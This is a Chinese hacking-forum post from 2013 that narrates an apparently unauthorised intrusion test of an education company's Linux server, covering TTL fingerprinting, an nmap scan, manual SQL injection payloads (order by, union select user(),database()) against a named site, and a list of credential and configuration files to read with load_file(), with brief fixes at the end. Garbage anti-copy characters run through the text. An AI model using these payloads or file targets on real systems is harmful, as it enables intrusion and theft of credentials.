找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2747|回复: 0
打印 上一主题 下一主题

记一次Linux系统PHP注入入侵检测

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-16 22:23:32 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
题记:2 T, z+ M0 k7 d0 {
一位朋友在某教育公司,一套网络教育平台。一年前,在2008年8月份的时候,我看到了这套平台,当时发现了个注入漏洞,测试了一下,得到一个可用帐户后就没有再继续下去。今天7月,又说到此事,我决定继续下去……
. z" C" A. y0 n! p: e第一步:获取需要的信息
' T$ q- g' k* e' [$ j) B) c由于之前测试过,知道此系统某处存在SQL注入漏洞。但由于时隔一年,岁月的远去已经深深的隐藏了那个SQL注入漏洞的地址,现在需要重新收集服务器有用信息。
6 M- V/ i5 K* U& W注:以下为保护特用XXX代替敏感信息' D- ~* [# a' B. \0 D: j( C
顺手先PING了一下他们的域名:. X7 k6 p# q' u/ g( D* p# R8 j; r
ping XXX.XXX.XXX.XXX(本文约定:用XXX.XXX.XXX.XXX代表测试IP和域名)
0 C" [2 o) t7 J64 bytes from *********: icmp_seq=1 ttl=246 time=1.87 ms. v( H' J) \' @
顺便了解一下TTL,学好基础知识才能一路顺风:
4 k: G% \3 j! R+ {0 {  @TTL:(Time To Live ) 生存时间; y  o6 R$ ]  T% E
指定数据包被路由器丢弃之前允许通过的网段数量。' G' A' U" P  @
TTL 是由发送主机设置的,以防止数据包不断在 IP 互联网络上永不终止地循环。转发 IP 数据包时,要求路由器至少将 TTL 减小 1。
7 Q0 Q& e: P- F) h: T" F使用PING时涉及到的 ICMP 报文类型
$ W9 d' H; h1 C; ?  X6 H) p, i一个为ICMP请求回显(ICMP Echo Request)
9 J% `3 C4 s; l" {一个为ICMP回显应答(ICMP Echo Reply)  E3 g6 m1 _' [+ B9 F+ D0 }% P
TTL 字段值可以帮助我们识别操作系统类型。
' x; H9 `: v) `' vUNIX 及类 UNIX 操作系统 ICMP 回显应答的 TTL 字段值为 255* m( x* t7 i) S6 X6 `4 }
Compaq Tru64 5.0 ICMP 回显应答的 TTL 字段值为 64, x6 C/ @+ y; O7 x$ b* y
微软 Windows NT/2K操作系统 ICMP 回显应答的 TTL 字段值为 128# F2 _2 w! X3 x% t9 }8 M" e
微软 Windows 95 操作系统 ICMP 回显应答的 TTL 字段值为 32; u) _; S& H. f' k1 V! z$ x
当然,返回的TTL值是相同的7 {' k/ g/ `. ?# ]& P- n/ r1 Z1 W; F3 U
但有些情况下有所特殊8 g$ K1 `/ v; t4 q
LINUX Kernel 2.2.x & 2.4.x ICMP 回显应答的 TTL 字段值为 64" v2 G% t; }* o
FreeBSD 4.1, 4.0, 3.4;" C9 {. H5 R/ A, Q( a9 x
Sun Solaris 2.5.1, 2.6, 2.7, 2.8;
( V- J. a% d; H; U1 Q0 EOpenBSD 2.6, 2.7,
2 i- U& I0 d2 Z; a' H, _NetBSD3 l5 T8 a& [5 b5 c5 T/ q
HP UX 10.209 b( c+ A  C# ~2 t8 Y
ICMP 回显应答的 TTL 字段值为 2551 z; B  K, X8 s' [, m
Windows 95/98/98SE, t& W8 R6 P2 T& R
Windows ME
& ^4 y% J9 U" S8 h7 sICMP 回显应答的 TTL 字段值为 32! {' v9 p% E. x% T: G' \7 \2 k4 l8 |( P6 G
Windows NT4 WRKS
' }$ j  e/ E9 V5 gWindows NT4 Server' k4 E; y, J+ L4 O- k: U
Windows 20007 h' u) ?/ Z4 Q3 W
Windows XP
+ W9 S/ x& H/ KICMP 回显应答的 TTL 字段值为 128
1 T& n  A) {3 Q0 u/ I这样,我们就可以通过这种方法来辨别操作系统
5 D7 B( Y$ f# }; I& ~, Q5 BTTL值的注册表位置HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\Services\Tcpip\Parameters 其中有个DefaultTTL的DWORD值,其数据就是默认的TTL值了,我们可以修改,但不能大于十进制的2552 b! E$ q: g1 s7 G! q
用NMAP扫描一下:( \/ i- K+ N0 l
nmap -sT -O XXX.XXX.XXX.XXX
1 n! V1 {2 j* c; u/ R7 ]" r如果没有装WinPcap则会弹出提示:
4 c3 R. O- i& n) j3 t8 wWARNING: Could not import all necessary WinPcap functions.  You may need to upgr
# w( o+ L- ^: h/ Jade to version 3.1 or higher from http://www.winpcap.org.  Resorting to connect(
7 p* I% O" @: q: `+ Z) mode — Nmap may not function completely
# U& ]$ L# Z9 aTCP/IP fingerprinting (for OS scan) requires that WinPcap version 3.1 or higher
9 y9 q7 B3 B9 P9 k2 Zand iphlpapi.dll be installed. You seem to be missing one or both of these.  Win
  O: C: A& t9 \6 v5 ^' cpcap is available from http://www.winpcap.org.  iphlpapi.dll comes with Win98 an
4 s% H2 G6 \! l! `9 p% zd later operating sytems and NT 4.0 with SP4 or greater.  For previous windows v; Z* T) U0 h* S* o5 w/ s" Z
ersions, you may be able to take iphlpapi.dll from another system and place it i
" e' W( Y- D# X( X& m3 G' M3 g/ N; Dn your system32 dir (e.g. c:\windows\system32).
# u1 W. b. V4 |, U+ k0 `( D+ bQUITTING!! D' ^5 {# P, k
到这里下载: http://www.winpcap.org/install/bin/WinPcap_4_1_1.exe& a& q3 L3 `# r3 A; Z& `
安装后继续执行刚才的命令,等待扫描完毕后得到入下信息:+ U. s4 ]: l" e& {' Z
Interesting ports on XXX.XXX.XXX.XXX:4 X! q( ~& m7 Z" |% n6 m
Not shown: 986 closed ports
/ E" w' E& O5 ePORT     STATE    SERVICE
( u5 H* O9 b+ l- S- r- b5 N21/tcp   open     ftp
6 _$ e$ C, p4 e) Q# ?* w22/tcp   open     ssh
( ~6 a6 F! C' F; t) j, v23/tcp   open     telnet# D. J/ W! g3 n: f, z$ E
80/tcp   open     http
$ x/ u, K9 H' J. f8 V! P111/tcp  open     rpcbind& Q( C5 C3 i" U1 f( x# S. ^( `3 b' P
135/tcp  filtered msrpc
0 B  F" \) v/ E1 s/ Q139/tcp  filtered netbios-ssn
; b' w$ V' }" j) F' f445/tcp  filtered microsoft-ds
6 O9 z5 U/ I3 f1 Y513/tcp  open     login
# q5 U# b4 X7 \, Z" j" ~- n  x2 U. y514/tcp  open     shell  C4 K( ~) r* C3 K
593/tcp  filtered http-rpc-epmap, `. M) m1 Y5 c7 F. D
1720/tcp filtered H.323/Q.931- o2 ~, s/ L: ^$ x' A& f) O
3306/tcp open     mysql
2 i! [1 E- Q8 X: e( o4444/tcp filtered krb524/ ^8 ~) ?+ N/ I+ T. T. O$ h0 c
Device type: WAP
5 I" O8 c. \! _* ?6 y- c5 }. I1 D) pRunning: Linux 2.4.X
/ l  V4 X4 T6 p" w, }$ n0 \OS details: DD-WRT (Linux 2.4.35s)
) s, k/ k$ y# S9 h( p8 D( NNetwork Distance: 13 hops
/ q& e, k. H2 J/ F: @& |9 [$ n看到SSH22端口是开着的,打开putty试一下,看是否可以正常连接:
/ _3 Q% `/ Y; {% H" d1 I! Llogin as:
9 d, H9 d- N6 }8 HTelnet23端口也是开着的,用telnet 命令链接一下:
6 s4 {, h8 t" W( w) E6 Z8 Ztelnet XXX.XXX.XXX.XXX% L+ k3 P/ E5 T: Q
提示:; [6 s$ r8 e, E; a- p, K
Red Hat Enterprise Linux Server release 5.2 (Tikanga)
# M# w6 l9 E6 j& m. rKernel 2.6.18-92.el5PAE on an i686
9 M0 Z! A. S' Q0 rlogin:
6 K* _. U4 N* t$ s获取HTTP头信息:/ Q" q/ i: @6 H4 H5 p
在本地执行如下PHP代码. a! M: ]6 c% y1 ~: X
<?php3 F+ O0 D( h! r8 u' x% q
$url = ‘XXX.XXX.XXX.XXX’;
: I' |! X7 i) w1 |$ Kprint_r(get_headers($url));/ l2 h- r; J9 I: |. u% x
print_r(get_headers($url, 1));1 g8 ?8 Q% J, b% N4 b! @  _( i$ B
?>5 }( X1 }$ X; t
将以上代码保存为PHP文件,执行:0 N# s& q: x4 m2 k" E; S
Array ( [0] => HTTP/1.1 200 OK [1] => Server: nginx/0.7.61 [2] => Date: Mon, 02 Nov 2009 09:06:48 GMT [3] => Content-Type: text/html; charset=gb2312,gbk,utf-8 [4] => Content-Length: 75 [5] => Last-Modified: Thu, 20 Aug 2009 19:35:37 GMT [6] => Connection: close [7] => Accept-Ranges: bytes ) Array ( [0] => HTTP/1.1 200 OK [Server] => nginx/0.7.61 [Date] => Mon, 02 Nov 2009 09:06:48 GMT [Content-Type] => text/html; charset=gb2312,gbk,utf-8 [Content-Length] => 75 [Last-Modified] => Thu, 20 Aug 2009 19:35:37 GMT [Connection] => close [Accept-Ranges] => bytes )
$ v& q3 {9 G4 U, h/ ?0 l1 z现在可以得出结论:
) ~; T' p+ j% j. R系统版本:Red Hat Enterprise Linux Server release 5.2 (Tikanga)
' c8 p" E' B8 p, }9 |" d内核版本:Kernel 2.6.18-92.el5PAE on an i6865 r# }1 |9 X7 ^2 R! u$ u
WEB服务器版本:nginx/0.7.61& `8 |: @/ z' I" X/ I0 G1 J
第二步,开始测试寻找漏洞
6 u$ u" e2 W# U6 C分析是否存在注入漏洞,因为上次曾发现存在过,所以注入则是我们的首选。
6 [# L; r4 d. e8 ^' H5 p7 \1、敏感地址:站内存在有类似:http://www.fovweb.com/XXX.php?id=123 这种地址,属动态传参的
! }+ C1 L, r! K2、测试方法:在地址后加 and 1=1 和 and 1=2 测试
# i" w  d& u, F+ `6 F# fhttp://www.fovweb.com/XXX.php?id=123 and 1=1 返回正常5 U& @8 f( q0 n) V8 u
http://www.fovweb.com/XXX.php?id=123 and 1=2 返回错误
( n$ {6 E; J/ X) n! A* z恭喜,两次返回结果不同,则很有可能存在未过滤敏感字符而存在SQL注入漏洞,我们继续! c" V& T6 C9 R/ L& ?
3、手工注入:, c7 v2 K6 s* G- x) e
注入也应该有个思路,不能随便碰运气,要记住入侵检测不是靠运气而走下去的,要靠的是清晰的思路、过硬的技术、很全的知识面。
0 s: K3 U8 g' x3.1 猜测当前表字段数4 e7 }. y% _  y# F
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 10) h" k! C4 ?4 a* c
此处猜测有个简单的算法,都是有技巧的吗,呵呵
5 {% W4 S9 Q; @# j2 c4 l4 v8 o5 u算法简单如下:
3 k% |9 {: U" ^& M9 i; o4 z第一步:根据页面信息,大概估算一个数值,这个是要靠一定的经验了;
+ |% ?0 ?. g% Q8 K, w: A第二步:取中算法,好比是10,如果返回错误,则取中间值5进行下一次猜测;
; B1 }( N8 x7 ]需要注意:如果所选数值在字段数范围内即小于等于,则会(返回正常);如果所选数值在字段范围外即大于等于,则会(返回错误)。7 w& I' L; [* F+ S- A. e/ p
以此来判断,是否过界,配合取中算法猜出字段数。
9 n. J( z; }3 [$ v& g% l7 b举例:
0 G# y$ c7 D$ ^; [% _3 Uhttp://www.fovweb.com/XXX.php?id=123 and 1=1 order by 3 返回正常: I; p" S+ e2 g
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 4 返回错误
% H% ]' l, s/ E  w$ h3 T, s& `& y% I& |; I此时3则为我们要找的字段数。- N; \8 l; [, ^6 L
3.2 配合union联合查询字段在页面所位置
9 z8 r5 h+ G' w1 r4 s. `我们已经知道了字段数为3,此时则可以做如下操作:
. |  e7 O, \, h. f9 Fhttp://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,2,3
: n9 ~  a: k: T6 c0 \
6 Q6 j! q. l  G1 z: L: X! z5 Y4 Y这样就可以测试到哪些字段在页面上有所显示了,如图:
2 J! l4 ^( D$ [* k1 H3 w: i* c" ?# O$ V! B! l1 q( s( L
3.3 查敏感信息
- C: }- U2 O) h8 g* _这也是个思路问题,我们需要什么,其实到了这一步已经能做什么多事情了。
0 Y5 Z" H: z5 r9 bhttp://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,user(),database()
6 f  n* ~. c8 z8 w' g) {) t" o& f  N" ~3.3.1 先查数据库用户、数据库名,以备后用,如图:# ~( B* b, f4 U( ~  K# g/ B7 M
* p3 u8 x6 N  y4 s0 w: Y
得到数据库用户为root、数据库名为DBxx;4 y% ]- n  {, S' ]% L$ ?8 P5 U
3.3.2 查配置文件
0 Y2 s8 H* f, U+ H查配置文件,就是指查看系统敏感的文件,如web服务器配置文件等。
/ t+ a2 V: l. {查看文件有一定的条件限制:
+ j  A6 J* f; G- n) K) I1 N4 r欲读取文件必须在服务器上
5 \4 H5 R# {: ]! u2 S/ t必须指定文件完整的路径
( w$ h& Z" Z' `& o8 O/ p4 _必须有权限读取并且文件必须完全可读/ ?5 j' y7 T7 C5 v1 }! S) C/ P' |; `9 t
欲读取文件必须小于 max_allowed_packet
: `+ X1 `" U& w7 ^MYSQL注入中,load_file()函数在获得webshell以及提权过程中起着十分重要的作用,常被用来读取各种配置文件。
$ V  W( b$ X; O- J2 l7 \& M3 d2 b常用的一些:
1 Y; A6 [: Z0 B5 E# s/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件# T/ O! G* Z$ y# ~
/usr/local/apache2/conf/httpd.conf' B5 |3 r/ o" j! n/ G/ F9 d) f
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
2 X/ Q* ?5 s, H" s" y8 e0 V: O3 V/usr/local/app/php5/lib/php.ini //PHP相关设置7 Z, i$ b6 s) }* C4 x2 P
/etc/sysconfig/iptables //从中得到防火墙规则策略' G% P/ f2 w. Z& T7 t8 I
/etc/httpd/conf/httpd.conf // apache配置文件
& B7 C5 Q( g$ b; l5 ^  f/etc/rsyncd.conf //同步程序配置文件
6 i, l( e; F2 o% y7 Z& o/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP.4 \. T2 [9 q$ z1 ^# e/ w
/etc/my.cnf //mysql的配置文件7 K" E. W5 }" K8 _' c: `
/etc/redhat-release //系统版本
5 l9 A6 v8 ~6 o7 `/etc/issue7 ?0 `- z7 Q( Z; E
/etc/issue.net5 H- h0 Z% @$ Q+ O! O0 n+ _' B- ~
c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码, u; w" W3 w& U) j9 ]
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码
6 [  w$ {9 `% L1 W7 K6 ^  Ic:\Program Files\Serv-U\ServUDaemon.ini
! w$ m: w6 p9 x; r* p! e- cc:\windows\my.ini //MYSQL配置文件
+ b4 I/ {2 H  o5 F8 tc:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件  g; R9 R, i( B7 x
等等。实际上,load_file()的作用不止于此,它还可以用来读取系统中的二进制文件,4 @4 q5 ^: G) U" g6 J: d4 v2 Q6 l
c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码% ^" k' y  a7 [# o
c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此
. v: w1 W/ J' @. R  R5 Kc:\Program Files\RhinoSoft.com\ServUDaemon.exe
- c! k8 \: w) z: n+ l2 k, IC:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
6 s1 G- l6 z0 W% b4 H' i//存储了pcAnywhere的登陆密码: i( K1 i. x9 v; |1 c3 X) }
由于之前得到信息,此台服务器是采用的nginx做的Web服务器,那我们就来试着找一下nginx的安装路径吧。
4 [- e4 S. s9 {, u3 |. }$ d这个没有技术性可言,纯靠经验和运气,由于很少用nginx不了解,我就先到网上搜索常用的安装路径,以及比较好的配置文档中的安装路径进行测试,最终,得到nginx安装路径“/usr/local/nginx/conf/nginx.conf”。
+ D4 f$ w, ~* n" T* L+ D3 }5 E9 u最后:防范措施, [( U* f! S0 ^5 I( ^
1、修复PHP注入漏洞;
9 |0 M+ }4 j3 U6 \2、Mysql使用普通权限的用户;
* k, j7 K) d& A4 s; f6 r3、升级linux内核至最新版本;
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表